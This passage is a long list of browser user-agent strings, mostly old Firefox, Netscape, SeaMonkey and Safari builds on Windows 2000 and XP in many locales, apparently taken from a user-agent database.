Gecko/20060912 Netscape/8.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.7.12) Gecko/20050915 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.9.1.7) Gecko/20100111 Thunderbird/3.0.1 ThunderBrowse/3.2.8.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; fi; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; fi; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-CA; rv:1.9.1.7) Gecko/20100111 Thunderbird/3.0.1 ThunderBrowse/3.2.8.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:0.9.2) Gecko/20010726 Netscape6/6.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:0.9.4) Gecko/20011019 Netscape6/6.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.0.0) Gecko/20020530 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.0.2) Gecko/20030208 Netscape/7.02 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.1) Gecko/20020826 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.4) Gecko/20030624 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.1) Gecko/20040707 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.3) Gecko/20040910 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.8.1.12) Gecko/20080201 SeaMonkey/1.1.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.7.8) Gecko/20050511 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1.9pre) Gecko/20071102 Firefox/2.0.0.9 Navigator/9.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.9b4pre) Gecko/2008022502 SeaMonkey/2.0a1pre Mozilla/5.0 (Windows; U; Windows NT 5.0; hu-HU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; it-IT; rv:0.9.2) Gecko/20010726 Netscape6/6.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; it-IT; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; it-IT; rv:1.7.12) Gecko/20050915 Mozilla/5.0 (Windows; U; Windows NT 5.0; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; it-IT; rv:1.7.5) Gecko/20041110 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; ja-JP) AppleWebKit/529 (KHTML, like Gecko, Safari/529.0) Lunascape/4.9.9.96 Mozilla/5.0 (Windows; U; Windows NT 5.0; ja-JP; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5 Mozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 Mozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.9.1.10) Gecko/20100624 Firefox/3.5.10 Lunascape/6.1.7.21880 Mozilla/5.0 (Windows; U; Windows NT 5.0; nl; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; nl; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.0; nl; rv:1.9.1b3pre) Gecko/20081218 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.0; pl-PL; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; pt-BR; rv:1.7.5) Gecko/20041118 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; ro-RO; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.9.1.13) Gecko/20100914 Firefox/3.5.13 Mozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.9.2.13) Gecko/20101203 IceWeasel/2.0.0.11 Mnenhy/0.8.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20040913 Firefox/0.10 Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20040913 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; sv-SE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; sv-SE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; sv-SE; rv:1.8) Gecko/20051107 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; sv-SE; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; sv-SE; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.0; tr; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-CN; rv:1.7.5) Gecko/20041124 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-CN; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-CN; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-CN; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-CN; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1) Gecko/20060111 Firefox/0.10 Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/532.0 (KHTML, like Gecko) Iron/3.0.197.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; ) Sundance/0.9x Mozilla/5.0 (Windows; U; Windows NT 5.1; PL; rv:1.7.12) Gecko/20050915 Mozilla/5.0 (Windows; U; Windows NT 5.1; PL; rv:1.8.1.13) Gecko/20080313 SeaMonkey/1.1.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; PL; rv:1.8.1.15) Gecko/20080621 SeaMonkey/1.1.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; PL; rv:1.8.1.18) Gecko/20081031 SeaMonkey/1.1.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; PL; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; RW; rv:1.8.0.7) Gecko/20110321 MultiZilla/4.33.2.6a SeaMonkey/8.6.55 Mozilla/5.0 (Windows; U; Windows NT 5.1; ar; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; ar; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; bg-BG; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; bg-BG; rv:1.9.1b4pre) Gecko/20090307 Shiretoko/3.1b4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; bg; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; bg; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; bg; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; bg; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; bg; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; bg; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ca-AD; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; ca-es) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.8.1.16) Gecko/20080708 Thunderbird/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 Safari/525.29 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.1.1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/533.3 (KHTML, like Gecko) Lunascape/6.1.0.20995 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9) Gecko/2008052906 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.8) Gecko/2009032609 Firefox/2.0.0.11 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 2.0.50727) Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; da) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK) AppleWebKit/523.11.1+ (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; da-dk) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.1) Gecko/20061003 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.9.0.8) Gecko/2009033019 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.0.0) Gecko/20020530 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.0.1) Gecko/20020826 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.1) Gecko/20020826 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3) Gecko/20030312 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3a) Gecko/20021212 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3b) Gecko/20030210 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4a) Gecko/20030401 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.5) Gecko/20031007 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.6) Gecko/20040113 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7) Gecko/20040616 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.1) Gecko/20040707 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.11) Gecko/20050728 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.11) Gecko/20050728 (No IDN) Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.12) Gecko/20050915 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.3) Gecko/20040910 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.5) Gecko/20041217 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.6) Gecko/20050319 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.7) Gecko/20050414 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.8) Gecko/20050511 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7b) Gecko/20040316 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8) Gecko/20051219 